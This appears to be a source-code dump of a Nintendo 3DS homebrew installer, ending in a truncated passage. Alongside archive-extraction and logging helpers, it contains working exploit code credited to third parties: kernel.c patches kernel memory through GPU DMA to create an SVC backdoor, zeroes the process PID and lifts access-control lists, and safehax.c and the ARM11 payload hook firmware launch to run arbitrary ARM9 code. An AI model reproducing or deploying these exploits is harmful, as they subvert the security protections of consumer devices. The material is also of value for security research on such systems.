cpio" strategy 572 | * as well. This strategy is very simple for the dearchiver, 573 | * and reasonably straightforward for the archiver. 574 | * "new cpio" is trickier. It stores the body only with the last 575 | * occurrence. The complication is that we might not 576 | * see every link to a particular file in a single session, so 577 | * there's no easy way to know when we've seen the last occurrence. 578 | * The solution here is to queue one link until we see the next. 579 | * At the end of the session, you can enumerate any remaining 580 | * entries by calling archive_entry_linkify(NULL) and store those 581 | * bodies. If you have a file with three links l1, l2, and l3, 582 | * you'll get the following behavior if you see all three links: 583 | * linkify(l1) => NULL (the resolver stores l1 internally) 584 | * linkify(l2) => l1 (resolver stores l2, you write l1) 585 | * linkify(l3) => l2, l3 (all links seen, you can write both). 586 | * If you only see l1 and l2, you'll get this behavior: 587 | * linkify(l1) => NULL 588 | * linkify(l2) => l1 589 | * linkify(NULL) => l2 (at end, you retrieve remaining links) 590 | * As the name suggests, this strategy is used by newer cpio variants. 591 | * It's noticeably more complex for the archiver, slightly more complex 592 | * for the dearchiver than the tar strategy, but makes it straightforward 593 | * to restore a file using any link by simply continuing to scan until 594 | * you see a link that is stored with a body. In contrast, the tar 595 | * strategy requires you to rescan the archive from the beginning to 596 | * correctly extract an arbitrary link. 597 | */ 598 | 599 | __LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void); 600 | __LA_DECL void archive_entry_linkresolver_set_strategy( 601 | struct archive_entry_linkresolver *, int /* format_code */); 602 | __LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *); 603 | __LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *, 604 | struct archive_entry **, struct archive_entry **); 605 | __LA_DECL struct archive_entry *archive_entry_partial_links( 606 | struct archive_entry_linkresolver *res, unsigned int *links); 607 | 608 | #ifdef __cplusplus 609 | } 610 | #endif 611 | 612 | /* This is meaningless outside of this header. */ 613 | #undef __LA_DECL 614 | 615 | #endif /* !ARCHIVE_ENTRY_H_INCLUDED */ 616 | -------------------------------------------------------------------------------- /include/log.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | 4 | FILE *File; 5 | static inline void logInit() 6 | { 7 | File = fopen("/ocs.log", "a"); 8 | } 9 | 10 | int print(const char *format, ...); 11 | 12 | static inline void logExit() 13 | { 14 | fclose(File); 15 | } -------------------------------------------------------------------------------- /include/util.h: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include "httpc.h" 5 | #include "jsmn.h" 6 | 7 | #pragma once 8 | 9 | typedef struct 10 | { 11 | char magic[4]; 12 | u8 versionMajor; 13 | u8 versionMinor; 14 | 15 | }lumainfo; 16 | 17 | char *parseApi(const char *url, const char *format); 18 | 19 | void progressbar(const char *string, double update, double total, bool progBarTotal); -------------------------------------------------------------------------------- /lib/libarchive.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hax0kartik/ocs/ec4b898e98a25bc4ff9ecb4923448016380c6632/lib/libarchive.a -------------------------------------------------------------------------------- /lib/liblzma.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hax0kartik/ocs/ec4b898e98a25bc4ff9ecb4923448016380c6632/lib/liblzma.a -------------------------------------------------------------------------------- /lib/libz.a: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hax0kartik/ocs/ec4b898e98a25bc4ff9ecb4923448016380c6632/lib/libz.a -------------------------------------------------------------------------------- /payload/3ds.ld: -------------------------------------------------------------------------------- 1 | OUTPUT_FORMAT("elf32-littlearm", "elf32-littlearm", "elf32-littlearm") 2 | OUTPUT_ARCH(arm) 3 | 4 | ENTRY(_start) 5 | 6 | SECTIONS 7 | { 8 | . = 0x23FFF000; 9 | start_addr = .; 10 | .text.start : { *(.text.start) } 11 | .text : { *(.text) *(.text*) } 12 | .rodata : { *(.rodata) *(.rodata*) } 13 | .data : { *(.data) *(.data*) } 14 | .bss : { *(.bss) *(.bss*) } 15 | total_size = . - start_addr; 16 | } 17 | -------------------------------------------------------------------------------- /payload/Makefile: -------------------------------------------------------------------------------- 1 | CC=arm-none-eabi-gcc 2 | CP=arm-none-eabi-g++ 3 | OC=arm-none-eabi-objcopy 4 | OD=arm-none-eabi-objdump 5 | LD=arm-none-eabi-ld 6 | 7 | all: 8 | $(CC) -g *.c -c -march=armv6z -O2 -ffast-math -std=c99 -Wall 9 | $(CC) -g *.s -c -march=armv6z 10 | $(CC) -T 3ds.ld *.o 11 | mkdir -p ../data 12 | $(OC) --set-section-flags .bss=alloc,load,contents -O binary a.out ../data/arm11.bin 13 | rm *.out *.o 14 | -------------------------------------------------------------------------------- /payload/_start.s: -------------------------------------------------------------------------------- 1 | .arm 2 | .section .text.start 3 | 4 | CPSID AIF 5 | MOV SP, #0x27800000 6 | 7 | MOV R0, #0 8 | MCR P15, 0, R0, C7, C10, 0 9 | MCR P15, 0, R0, C7, C5, 0 10 | 11 | BL _start 12 | B . 13 | -------------------------------------------------------------------------------- /payload/main.c: -------------------------------------------------------------------------------- 1 | #define PXI_SYNC11 ((volatile unsigned char *)0x10163000) 2 | #define PXI_CNT11 *((volatile unsigned int *)0x10163004) 3 | #define PXI_SEND11 *((volatile unsigned int *)0x10163008) 4 | #define PXI_RECV11 *((volatile unsigned int *)0x1016300C) 5 | 6 | #define ARM9_TEST *((volatile unsigned int *)0x1FF80000) 7 | #define ARM9SYNC ((volatile unsigned char *)0x1FFFFFF0) 8 | #define ARM11Entry *((volatile unsigned int *)0x1FFFFFF8) 9 | #define ARM9Entry *((volatile unsigned int *)0x2400000C) 10 | 11 | #define FW_TID_HIGH 0x00040138 12 | #define FW_TID_LOW ((*((volatile unsigned int *)0x10140FFC) == 7) ? 0x20000003 : 0x00000003) 13 | #define PXI_FULL (PXI_CNT11 & 2) 14 | #define PXI_EMPTY (PXI_CNT11 & 0x100) 15 | 16 | #define LCDCFG_FILL *((volatile unsigned int *)0x10202204) 17 | #define DEBUG_FLAG *((volatile _Bool *)0x23FFFE10) 18 | #define DEBUG(c) if (DEBUG_FLAG) LCDCFG_FILL = 0x01000000 | (c & 0xFFFFFF); 19 | 20 | void pxi_send(unsigned int cmd){ 21 | while (PXI_FULL); 22 | PXI_SEND11 = cmd; 23 | } 24 | 25 | unsigned int pxi_recv(void){ 26 | while (PXI_EMPTY); 27 | return PXI_RECV11; 28 | } 29 | 30 | void _start(void){ 31 | DEBUG(0x0000FF); //red 32 | 33 | for (volatile int i = 0; i < 2; i++){ //The global SAFE_MODE flag is cleared now, let's launch SAFE_MODE! 34 | /* Init */ 35 | pxi_send(0x44846); //Signal ARM9 to complete the initial FIRMLaunches 36 | 37 | /* KSync */ 38 | ARM9SYNC[0] = 1; //SAFE_MODE Kernel9 @ 0x0801B148 & SAFE_MODE Kernel11 @ 0x1FFDB498 39 | while (ARM9SYNC[0] != 2); 40 | ARM9SYNC[0] = 1; 41 | while (ARM9SYNC[0] != 2); 42 | 43 | DEBUG(0x007FFF); //orange 44 | 45 | if (ARM9SYNC[1] == 3){ 46 | ARM9SYNC[0] = 1; 47 | while (ARM9SYNC[0] != 2); 48 | ARM9SYNC[0] = 3; 49 | } 50 | 51 | while (!PXI_FULL) pxi_send(0); //SAFE_MODE Process9 @ 0x0806C594 & SAFE_MODE pxi @ 0x101388 52 | PXI_SYNC11[1] = 1; 53 | while (PXI_SYNC11[0] != 1); 54 | 55 | DEBUG(0x00FFFF); //yellow 56 | 57 | while (!PXI_EMPTY) pxi_recv(); 58 | PXI_SYNC11[1] = 2; 59 | while (PXI_SYNC11[0] != 2); 60 | 61 | DEBUG(0x00FF00); //green 62 | 63 | /* FIRMLaunch */ 64 | pxi_send(0); //pxi:mc //https://github.com/patois/Brahma/blob/master/source/arm11.s#L11 & SAFE_MODE pxi @ 0x100618 65 | PXI_SYNC11[3] |= 0x40; 66 | pxi_send(0x10000); //pxi shutdown 67 | 68 | DEBUG(0xFFFF00); //cyan 69 | 70 | do pxi_send(0x44836); //SAFE_MODE Process9 @ 0x08086788 & SAFE_MODE Kernel11 @ 0xFFF620C0 71 | while (PXI_EMPTY || (pxi_recv() != 0x964536)); 72 | pxi_send(0x44837); 73 | 74 | pxi_send(FW_TID_HIGH); 75 | pxi_send(FW_TID_LOW); 76 | 77 | DEBUG(0xFF0000); //blue 78 | } 79 | 80 | DEBUG(0xFF007F); //purple 81 | 82 | /* FIRMLaunchHax */ 83 | ARM11Entry = 0; 84 | ARM9_TEST = 0xDEADC0DE; 85 | pxi_send(0x44846); 86 | 87 | volatile unsigned int reg = 0; 88 | while (ARM9_TEST == 0xDEADC0DE) //wait for arm9 to start writing a new arm11 binary 89 | __asm__ volatile ("MCR P15, 0, %0, C7, C6, 0" :: "r"(reg)); //invalidate dcache 90 | 91 | ARM9Entry = 0x23F00000; 92 | LCDCFG_FILL = 0; 93 | while (!ARM11Entry); 94 | ((void (*)())ARM11Entry)(); 95 | } 96 | -------------------------------------------------------------------------------- /source/archive.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include "archive.h" 4 | #include "libarchive/archive.h" 5 | #include "libarchive/archive_entry.h" 6 | 7 | static int copy_data(struct archive *ar, struct archive *aw) 8 | { 9 | int r; 10 | const void *buff; 11 | size_t size; 12 | int64_t offset; 13 | for (;;) 14 | { 15 | r = archive_read_data_block(ar, &buff, &size, &offset); 16 | if (r == ARCHIVE_EOF) 17 | return (ARCHIVE_OK); 18 | if (r < ARCHIVE_OK) 19 | return (r); 20 | r = archive_write_data_block(aw, buff, size, offset); 21 | if (r < ARCHIVE_OK) 22 | { 23 | printf("%s\n", archive_error_string(aw)); 24 | return (r); 25 | } 26 | } 27 | } 28 | 29 | void archiveExtractFile(void *buf, size_t size, char *fileToExtract, char *ExtractAs, char *location) 30 | { 31 | struct archive *a; 32 | struct archive *ext; 33 | struct archive_entry *entry; 34 | int flags; 35 | int r; 36 | 37 | /* Select which attributes we want to restore. */ 38 | flags = ARCHIVE_EXTRACT_PERM; 39 | flags |= ARCHIVE_EXTRACT_ACL; 40 | flags |= ARCHIVE_EXTRACT_FFLAGS; 41 | 42 | a = archive_read_new(); 43 | archive_read_support_format_7zip(a); 44 | archive_read_support_format_zip(a); 45 | ext = archive_write_disk_new(); 46 | archive_write_disk_set_options(ext, flags); 47 | if((r = archive_read_open_memory(a, buf, size))) 48 | { 49 | printf("Couldn't open memory\n"); 50 | return; 51 | } 52 | for(;;) 53 | { 54 | r = archive_read_next_header(a, &entry); 55 | if(r == ARCHIVE_EOF)break; 56 | if(r == ARCHIVE_OK) 57 | { 58 | const char *file = archive_entry_pathname(entry); 59 | char extractLoc[100]; 60 | if(strcmp(file, fileToExtract)==0) 61 | { 62 | printf("File match Found!\n"); 63 | printf("%s\n",file); 64 | sprintf(extractLoc, "%s%s", location, ExtractAs); 65 | archive_entry_set_pathname(entry, extractLoc); 66 | r = archive_write_header(ext, entry); 67 | if(archive_entry_size(entry) > 0) 68 | copy_data(a, ext); 69 | archive_write_finish_entry(ext); 70 | break; 71 | } 72 | 73 | 74 | else if (strcmp(fileToExtract, "__ALL__") == 0) 75 | { 76 | r = archive_write_header(ext,entry); 77 | if(archive_entry_size(entry) > 0) 78 | copy_data(a, ext); 79 | archive_write_finish_entry(ext); 80 | } 81 | 82 | } 83 | 84 | } 85 | archive_read_close(a); 86 | archive_read_free(a); 87 | archive_write_close(ext); 88 | archive_write_free(ext); 89 | } -------------------------------------------------------------------------------- /source/exploits/changes.txt: -------------------------------------------------------------------------------- 1 | ##------------------------------------------------------------## 2 | This is a list of changes that were made to the exploits. These 3 | exploits were not made by me, full credits goto Smealum and 4 | yellows8 for udshax and to tinivi for safehax 5 | ##------------------------------------------------------------## 6 | 7 | Merged asm.s and and global_backdoor.s into one 8 | Merged kernel.c and kernel_patches.c into one 9 | Safehax changed a bit to boot safeb9sinstaller properly(gfx command added) 10 | -------------------------------------------------------------------------------- /source/exploits/source/asm.s: -------------------------------------------------------------------------------- 1 | .section ".text" 2 | .arm 3 | .align 4 4 | 5 | .global flush_dcache 6 | .type flush_dcache, %function 7 | flush_dcache: 8 | mov r0, #0 9 | mcr p15, 0, r0, c7, c10, 0 10 | bx lr 11 | 12 | .global invalidate_icache 13 | .type invalidate_icache, %function 14 | invalidate_icache: 15 | mov r0, #0 16 | mcr p15, 0, r0, c7, c5, 0 17 | bx lr 18 | 19 | .global svcGlobalBackdoor 20 | .type svcGlobalBackdoor, %function 21 | svcGlobalBackdoor: 22 | svc 0x30 23 | bx lr 24 | 25 | .global svc_30 26 | .type svc_30, %function 27 | svc_30: 28 | push {r0, r1, r2} 29 | mov r3, sp 30 | adr r0, svc_30_callback 31 | svc 0x30 32 | add sp, sp, #8 33 | ldr r0, [sp], #4 34 | bx lr 35 | svc_30_callback: 36 | cpsid aif 37 | ldr r2, [r3], #4 38 | ldmfd r3!, {r0, r1} 39 | push {r3, lr} 40 | blx r2 41 | pop {r3, lr} 42 | str r0, [r3, #-4]! 43 | mov r0, #0 44 | bx lr 45 | 46 | .global checkSvcGlobalBackdoor 47 | .type checkSvcGlobalBackdoor, %function 48 | checkSvcGlobalBackdoor: 49 | adr r0, checkSvcGlobalBackdoor_callback 50 | mov r3, #0 51 | svc 0x30 52 | mov r0, r3 53 | bx lr 54 | checkSvcGlobalBackdoor_callback: 55 | cpsid aif 56 | mov r3, #1 57 | bx lr 58 | 59 | .global checkRunningCFW 60 | .type checkRunningCFW, %function 61 | checkRunningCFW: 62 | svc 0x2E 63 | bx lr 64 | 65 | .global checkLumaVersion 66 | .type checkLumaVersion, %function 67 | checkLumaVersion: 68 | svc 0x2E 69 | bx lr -------------------------------------------------------------------------------- /source/exploits/source/kernel.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include "asm.h" 5 | #include <3ds.h> 6 | 7 | // Shamelessly copied from 8 | // https://github.com/Steveice10/memchunkhax2/blob/master/source/memchunkhax2.c#L16 9 | 10 | #define OLDNEW(x) (g_is_new3ds ? x ## _NEW : x ## _OLD) 11 | 12 | #define CURRENT_KTHREAD (*((u8**)0xFFFF9000)) 13 | #define CURRENT_KPROCESS (*((u8**)0xFFFF9004)) 14 | 15 | #define SVC_ACL_SIZE (0x10) 16 | 17 | #define KPROCESS_ACL_START_OLD (0x88) 18 | #define KPROCESS_ACL_START_NEW (0x90) 19 | 20 | #define KPROCESS_PID_OFFSET_OLD (0xB4) 21 | #define KPROCESS_PID_OFFSET_NEW (0xBC) 22 | 23 | #define KTHREAD_THREADPAGEPTR_OFFSET (0x8C) 24 | #define KSVCTHREADAREA_BEGIN_OFFSET (0xC8) 25 | 26 | 27 | static bool g_is_new3ds = false; 28 | static u32 g_original_pid = 0; 29 | 30 | void invalidate_icache(); 31 | 32 | // bypass gsp address checks 33 | Result gspSetTextureCopy(u32 in_pa, u32 out_pa, u32 size, u32 in_dim, u32 out_dim, u32 flags) 34 | { 35 | u32 enable_reg = 0; 36 | Result ret = 0; 37 | 38 | ret = GSPGPU_ReadHWRegs(0x1EF00C18 - 0x1EB00000, &enable_reg, sizeof(enable_reg)); 39 | if(ret) return ret; 40 | 41 | ret = GSPGPU_WriteHWRegs(0x1EF00C00 - 0x1EB00000, (u32[]){in_pa >> 3, out_pa >> 3}, 0x8); 42 | if(ret) return ret; 43 | ret = GSPGPU_WriteHWRegs(0x1EF00C20 - 0x1EB00000, (u32[]){size, in_dim, out_dim}, 0xC); 44 | if(ret) return ret; 45 | ret = GSPGPU_WriteHWRegs(0x1EF00C10 - 0x1EB00000, &flags, 4); 46 | if(ret) return ret; 47 | ret = GSPGPU_WriteHWRegs(0x1EF00C18 - 0x1EB00000, (u32[]){enable_reg | 1}, 4); 48 | if(ret) return ret; 49 | 50 | return 0; 51 | } 52 | 53 | s32 initial_kernel_function(void) 54 | { 55 | __asm__ volatile("cpsid aif"); 56 | 57 | invalidate_icache(); 58 | 59 | return 0; 60 | } 61 | 62 | Result hook_kernel() 63 | { 64 | Result ret = -200; 65 | const u32 wram_size = 0x00080000; 66 | unsigned int* wram_buffer = linearAlloc(wram_size); 67 | 68 | // grab AXI WRAM 69 | gspSetTextureCopy(0x1FF80000, osConvertVirtToPhys(wram_buffer), wram_size, 0, 0, 8); 70 | svcSleepThread(10 * 1000 * 1000); 71 | 72 | GSPGPU_InvalidateDataCache(wram_buffer, wram_size); 73 | 74 | // scan wram for svc handler 75 | u32 svc_handler_offset = 0; 76 | u32 svc_table_offset = 0; 77 | u32 svc_ac_offset = 0; 78 | { 79 | int i; 80 | const u32 pattern[] = {0xF96D0513, 0xE94D6F00}; 81 | for(i = 0; i < wram_size; i += 4) 82 | { 83 | const u32 cursor = i / 4; 84 | 85 | if(wram_buffer[cursor] == pattern[0] && wram_buffer[cursor + 1] == pattern[1]) 86 | { 87 | svc_handler_offset = i; 88 | for(i = svc_handler_offset; i < wram_size; i++) 89 | { 90 | const u32 val = wram_buffer[i / 4]; 91 | if((val & 0xfffff000) == 0xe28f8000) 92 | { 93 | svc_table_offset = i + (val & 0xfff) + 8; 94 | break; 95 | } 96 | } 97 | 98 | for(i = svc_handler_offset; i < wram_size; i++) 99 | { 100 | const u32 val = wram_buffer[i / 4]; 101 | if(val == 0x0AFFFFEA) 102 | { 103 | svc_ac_offset = i; 104 | break; 105 | } 106 | } 107 | break; 108 | } 109 | } 110 | 111 | printf("found svc_stuff %08X %08X %08X\n", (unsigned int)svc_handler_offset, (unsigned int)svc_table_offset, (unsigned int)svc_ac_offset); 112 | } 113 | 114 | ret = -201; 115 | if(!svc_handler_offset || !svc_table_offset || !svc_ac_offset) goto sub_fail; 116 | 117 | u32 svc_0x30_offset = 0; 118 | { 119 | int i; 120 | const u32 pattern[] = {0xE59F0000, 0xE12FFF1E, 0xF8C007F4}; 121 | const u32 hint = wram_buffer[svc_table_offset / 4 + 0x30] & 0xfff; 122 | for(i = 0; i < wram_size; i += 4) 123 | { 124 | const u32 cursor = i / 4; 125 | 126 | if((i & 0xfff) == hint && wram_buffer[cursor] == pattern[0] && wram_buffer[cursor + 1] == pattern[1] && wram_buffer[cursor + 2] == pattern[2]) 127 | { 128 | svc_0x30_offset = i; 129 | break; 130 | } 131 | } 132 | printf("found svc_0x30_offset %08X\n", (unsigned int)svc_0x30_offset); 133 | } 134 | 135 | ret = -202; 136 | if(!svc_0x30_offset) goto sub_fail; 137 | 138 | printf("patching kernel... "); 139 | 140 | // now we patch local svc 0x30 with "bx r0" 141 | wram_buffer[svc_0x30_offset / 4] = 0xE12FFF10; 142 | 143 | // then we dma the change over... 144 | { 145 | u32 aligned_offset = svc_0x30_offset & ~0x1ff; 146 | GSPGPU_FlushDataCache(&wram_buffer[aligned_offset / 4], 0x200); 147 | gspSetTextureCopy(osConvertVirtToPhys(&wram_buffer[aligned_offset / 4]), 0x1FF80000 + aligned_offset, 0x200, 0, 0, 8); 148 | svcSleepThread(10 * 1000 * 1000); 149 | } 150 | 151 | // patch 0x7b back in 152 | wram_buffer[svc_table_offset / 4 + 0x7b] = wram_buffer[svc_table_offset / 4 + 0x30]; 153 | 154 | // patch svc access control out 155 | wram_buffer[svc_ac_offset / 4] = 0; 156 | 157 | // then we dma the changes over... 158 | { 159 | u32 aligned_offset = svc_ac_offset & ~0x1ff; 160 | GSPGPU_FlushDataCache(&wram_buffer[aligned_offset / 4], 0x2000); 161 | gspSetTextureCopy(osConvertVirtToPhys(&wram_buffer[aligned_offset / 4]), 0x1FF80000 + aligned_offset, 0x2000, 0, 0, 8); 162 | svcSleepThread(10 * 1000 * 1000); 163 | } 164 | 165 | // and finally we run that svc until it actually executes our code (should be first try, but with cache you never know i guess) 166 | // this will also invalidate all icache which will allow us to use svcBackdoor 167 | while(svcGlobalBackdoor(initial_kernel_function)); 168 | 169 | printf("done !\n"); 170 | ret = 0; 171 | 172 | sub_fail: 173 | linearFree(wram_buffer); 174 | 175 | return ret; 176 | } 177 | 178 | static void K_PatchPID(void) 179 | { 180 | u8 *proc = CURRENT_KPROCESS; 181 | u32 *pidPtr = (u32*)(proc + OLDNEW(KPROCESS_PID_OFFSET)); 182 | 183 | g_original_pid = *pidPtr; 184 | 185 | // We're now PID zero, all we have to do is reinitialize the service manager in user-mode. 186 | *pidPtr = 0; 187 | } 188 | 189 | static void K_RestorePID(void) 190 | { 191 | u8 *proc = CURRENT_KPROCESS; 192 | u32 *pidPtr = (u32*)(proc + OLDNEW(KPROCESS_PID_OFFSET)); 193 | 194 | // Restore the original PID 195 | *pidPtr = g_original_pid; 196 | } 197 | 198 | static void K_PatchACL(void) 199 | { 200 | // Patch the process first (for newly created threads). 201 | u8 *proc = CURRENT_KPROCESS; 202 | u8 *procacl = proc + OLDNEW(KPROCESS_ACL_START); 203 | memset(procacl, 0xFF, SVC_ACL_SIZE); 204 | 205 | // Now patch the current thread. 206 | u8 *thread = CURRENT_KTHREAD; 207 | u8 *thread_pageend = *(u8**)(thread + KTHREAD_THREADPAGEPTR_OFFSET); 208 | u8 *thread_page = thread_pageend - KSVCTHREADAREA_BEGIN_OFFSET; 209 | memset(thread_page, 0xFF, SVC_ACL_SIZE); 210 | } 211 | 212 | 213 | void initsrv_allservices(void) 214 | { 215 | APT_CheckNew3DS(&g_is_new3ds); 216 | 217 | printf("Patching PID\n"); 218 | svc_30(K_PatchPID); 219 | 220 | printf("Reiniting srv:\n"); 221 | srvExit(); 222 | srvInit(); 223 | 224 | printf("Restoring PID\n"); 225 | svc_30(K_RestorePID); 226 | } 227 | 228 | void patch_svcaccesstable(void) 229 | { 230 | APT_CheckNew3DS(&g_is_new3ds); 231 | 232 | printf("Patching SVC access table\n"); 233 | svc_30(K_PatchACL); 234 | } -------------------------------------------------------------------------------- /source/exploits/source/safehax.c: -------------------------------------------------------------------------------- 1 | #include <3ds.h> 2 | #include 3 | #include 4 | #include 5 | #include "arm11_bin.h" 6 | #include "asm.h" 7 | #include "kernel.h" 8 | #include "fs.h" 9 | 10 | #define FCRAM(x) (void *)((kver < SYSTEM_VERSION(2, 44, 6)) ? (0xF0000000 + x) : (0xE0000000 + x)) //0x20000000 11 | #define AXIWRAM(x) (void *)((kver < SYSTEM_VERSION(2, 44, 6)) ? (0xEFF00000 + x) : (0xDFF00000 + x)) //0x1FF00000 12 | #define KMEMORY ((u32 *)AXIWRAM(0xF4000)) //0x1FFF4000 13 | 14 | //if condition 'x' is true, print string 'y' and exit 15 | #define PANIC(x,y) if (x){\ 16 | error = y;\ 17 | goto exit;\ 18 | } 19 | #define DEBUG(x) if (debug) printf(" %s\n", x); 20 | 21 | static Result pm_res = -1; 22 | static s32 backdoor_res = -1; 23 | static char *error = "FAILED TO RELOAD!"; 24 | 25 | static void *payload_buf = NULL; 26 | static u32 payload_size = 0; 27 | 28 | static bool debug = true; 29 | static u32 kver = 0; 30 | 31 | extern void gfxSetFramebufferInfo(gfxScreen_t screen, u8 id); 32 | s32 patch_arm11_codeflow(void){ 33 | __asm__ volatile ( "CPSID AIF\n" "CLREX" ); 34 | 35 | memcpy(FCRAM(0x3F00000), payload_buf, payload_size); //Huge payloads seem to crash when being copied (?) 36 | memcpy(FCRAM(0x3FFF000), payload_buf + 0xFF000, 0xE20); 37 | 38 | for (unsigned int i = 0; i < 0x2000/4; i++){ 39 | if (KMEMORY[i] == 0xE12FFF14 && KMEMORY[i+2] == 0xE3A01000){ //hook arm11 launch 40 | KMEMORY[i+3] = 0xE51FF004; //LDR PC, [PC,#-4] 41 | KMEMORY[i+4] = 0x23FFF000; 42 | backdoor_res = 0; 43 | break; 44 | } 45 | } 46 | 47 | __asm__ volatile ( //flush & invalidate the caches 48 | "MOV R0, #0\n" 49 | "MCR P15, 0, R0, C7, C10, 0\n" 50 | "MCR P15, 0, R0, C7, C5, 0" 51 | ); 52 | 53 | return backdoor_res; 54 | } 55 | 56 | u32 FileRead(void *buffer, const char *filename, u32 maxsize){ //lol 57 | u32 size = 0; 58 | FILE * handle = fopen(filename, "rb"); 59 | if (handle){ 60 | fseek(handle, 0, SEEK_END); 61 | size = ftell(handle); 62 | rewind(handle); 63 | 64 | if (size && (size <= maxsize)) fread(buffer, 1, size, handle); 65 | else size = 0; 66 | fclose(handle); 67 | } 68 | return size; 69 | } 70 | 71 | int safehax() 72 | { 73 | aptInit(); 74 | romfsInit(); 75 | kver = osGetKernelVersion(); 76 | if (kver > SYSTEM_VERSION(2, 53, 0)) //11.4^ 77 | PANIC(true, "UNSUPPORTED FIRMWARE!"); 78 | 79 | if (checkSvcGlobalBackdoor()){ 80 | initsrv_allservices(); 81 | patch_svcaccesstable(); 82 | } 83 | 84 | PANIC(pmInit(), "PM INIT FAILED!"); 85 | 86 | hidScanInput(); 87 | /* Map the Payloads */ 88 | 89 | DEBUG("Allocating memory..."); 90 | payload_buf = memalign(0x1000, 0x100000); 91 | PANIC(!payload_buf, "FAILED TO ALLOCATE MEMORY!"); 92 | 93 | DEBUG("Reading payload..."); 94 | payload_size = FileRead(payload_buf, "romfs:/arm9.bin", 0xFF000); //check for a bundled arm9 payload 95 | if (!payload_size) payload_size = FileRead(payload_buf, "sdmc:/safehaxpayload.bin", 0xFF000); 96 | if (!payload_size) payload_size = FileRead(payload_buf, "sdmc:/arm9.bin", 0xFF000); 97 | if (!payload_size) payload_size = FileRead(payload_buf, "sdmc:/arm9loaderhax.bin", 0xFF000); 98 | PANIC(!payload_size, "FAILED TO READ THE PAYLOAD!"); 99 | 100 | DEBUG("Copying ARM11 payload..."); 101 | memcpy(payload_buf + 0xFF000, &arm11_bin[0], arm11_bin_size); 102 | 103 | /* Setup Framebuffers */ //https://github.com/mid-kid/CakeBrah/blob/master/source/brahma.c#L364 104 | DEBUG("Setting framebuffers..."); 105 | *((u32 *)(payload_buf + 0xFFE00)) = (u32)gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL) + 0xC000000; 106 | *((u32 *)(payload_buf + 0xFFE04)) = (u32)gfxGetFramebuffer(GFX_TOP, GFX_RIGHT, NULL, NULL) + 0xC000000; 107 | *((u32 *)(payload_buf + 0xFFE08)) = (u32)gfxGetFramebuffer(GFX_BOTTOM, 0, NULL, NULL) + 0xC000000; 108 | //gfxSwapBuffers(); 109 | 110 | /* Patch ARM11 */ 111 | 112 | DEBUG("Patching ARM11..."); 113 | 114 | *((bool *)(payload_buf + 0xFFE10)) = false; //for safehax post-reload color-fill-based debugging 115 | if (checkSvcGlobalBackdoor()) //use this where applicable 116 | svcGlobalBackdoor(patch_arm11_codeflow); 117 | else 118 | svcBackdoor(patch_arm11_codeflow); 119 | 120 | PANIC(backdoor_res, "FAILED TO PATCH THE KERNEL!"); 121 | 122 | /* Relaunch Firmware */ //This will clear the global flag preventing SAFE_MODE launch. 123 | 124 | DEBUG("Reloading firmware..."); 125 | pm_res = PM_LaunchFIRMSetParams(2, 0, NULL); 126 | 127 | exit: 128 | if (pm_res){ 129 | if (!debug) consoleInit(GFX_TOP, NULL); 130 | printf("\n\x1b[31;1m [!] %s\n", error); 131 | printf("\n\x1b[37;1m Press [START] to exit."); 132 | 133 | while (aptMainLoop()){ 134 | hidScanInput(); 135 | 136 | if (hidKeysDown() & KEY_START) break; 137 | 138 | } 139 | } else if (debug){ //fix framebuffer on exit 140 | //consoleClear(); 141 | //extern PrintConsole bottom; 142 | //consoleSelect(&bottom); 143 | //consoleClear(); 144 | gfxSetScreenFormat(GFX_BOTTOM, GSP_BGR8_OES); 145 | gfxSetScreenFormat(GFX_TOP, GSP_BGR8_OES); 146 | gfxSetFramebufferInfo(GFX_TOP, 0); 147 | gfxSetFramebufferInfo(GFX_BOTTOM, 0); 148 | gfxFlushBuffers(); 149 | gfxSwapBuffers(); 150 | gspWaitForVBlank(); 151 | } 152 | pmExit(); 153 | aptExit(); 154 | httpcExit(); 155 | gfxExit(); 156 | return 0; 157 | } 158 | -------------------------------------------------------------------------------- /source/exploits/source/udsploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | #include <3ds.h> 6 | 7 | // TEMP, so that we can still allocate memory; this is only needed to run in a 3dsx obviously 8 | extern char* fake_heap_start; 9 | extern char* fake_heap_end; 10 | extern u32 __ctru_heap, __ctru_heap_size, __ctru_linear_heap, __ctru_linear_heap_size; 11 | 12 | void __attribute__((weak)) __system_allocateHeaps() { 13 | u32 tmp=0; 14 | 15 | __ctru_heap_size = 8 * 1024 * 1024; 16 | 17 | // Allocate the application heap 18 | __ctru_heap = 0x08000000; 19 | svcControlMemory(&tmp, __ctru_heap, 0x0, __ctru_heap_size, MEMOP_ALLOC, MEMPERM_READ | MEMPERM_WRITE); 20 | 21 | // Allocate the linear heap 22 | svcControlMemory(&__ctru_linear_heap, 0x0, 0x0, __ctru_linear_heap_size, MEMOP_ALLOC_LINEAR, MEMPERM_READ | MEMPERM_WRITE); 23 | 24 | // Set up newlib heap 25 | fake_heap_start = (char*)__ctru_heap; 26 | fake_heap_end = fake_heap_start + __ctru_heap_size; 27 | 28 | } 29 | 30 | static Result UDS_InitializeWithVersion(Handle* handle, udsNodeInfo *nodeinfo, Handle sharedmem_handle, u32 sharedmem_size) 31 | { 32 | u32* cmdbuf = getThreadCommandBuffer(); 33 | 34 | cmdbuf[0] = 0x001B0302; 35 | cmdbuf[1] = sharedmem_size; 36 | memcpy(&cmdbuf[2], nodeinfo, sizeof(udsNodeInfo)); 37 | cmdbuf[12] = 0x400;//version 38 | cmdbuf[13] = 0; 39 | cmdbuf[14] = sharedmem_handle; 40 | 41 | Result ret = 0; 42 | if((ret = svcSendSyncRequest(*handle)))return ret; 43 | ret = cmdbuf[1]; 44 | 45 | return ret; 46 | } 47 | 48 | static Result UDS_Bind(Handle* handle, u32 BindNodeID, u32 input0, u8 data_channel, u16 NetworkNodeID) 49 | { 50 | u32* cmdbuf = getThreadCommandBuffer(); 51 | 52 | 